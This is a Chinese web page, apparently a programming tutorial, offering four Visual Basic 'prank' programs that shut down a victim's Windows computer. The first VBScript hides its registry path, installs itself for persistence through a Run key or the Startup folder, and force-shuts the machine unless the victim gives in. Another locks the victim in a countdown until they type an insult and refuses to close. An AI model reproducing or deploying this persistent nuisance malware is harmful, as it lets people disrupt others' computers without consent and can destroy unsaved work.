VB关机恶搞小程序

时间:2022-04-07 23:19:01

VB关机恶搞小程序一:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
 else
c.Copy(dirwin&"\wxb.vbs")
end if
  
end if
  
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

上面的有点复杂,那就来个稍微简单的

代码如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
Option Explicit
Const SM_CLEANBOOT = 67
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
 
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long
 
Private Sub Form_Load()
  Call ExitWindowsEx(EWX_SHUTDOWN, 0)
End Sub

当你可以采用一个更加简单的写法
直接输入以下代码即可:

?
1
2
3
4
Private Sub Form_Load()
Shell "cmd /c shutdown -s -t 30"
Rem 后面的 -t 0 表示0秒关机,如果去掉 -t 0 那么默认是30秒关机
End Sub

方法三:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Private Sub Command1_Click()
If Text1 = "我是猪" Then
Shell "cmd.exe /c shutdown -a"
MsgBox "哈哈放过你吧!", 64, "提示"
End
End If
End Sub
Private Sub Form_Load()
MsgBox "哈哈你中招了、快说你是猪,否则1分钟就让你电脑关机", 48, "提示"
Shell "cmd.exe /c shutdown -s -t " & 60, vbHide
End Sub
Private Sub Form_Unload(Cancel As Integer)
g = MsgBox("想关掉我???", vbOKCancel + vbQuestion, "关闭窗口")
If g = vbOK Then
Cancel = 11
MsgBox "哈哈你关不掉我的快说我是猪吧", 64, "提示"
End If
If g = 2 Then
Cancel = 11
End If
End Sub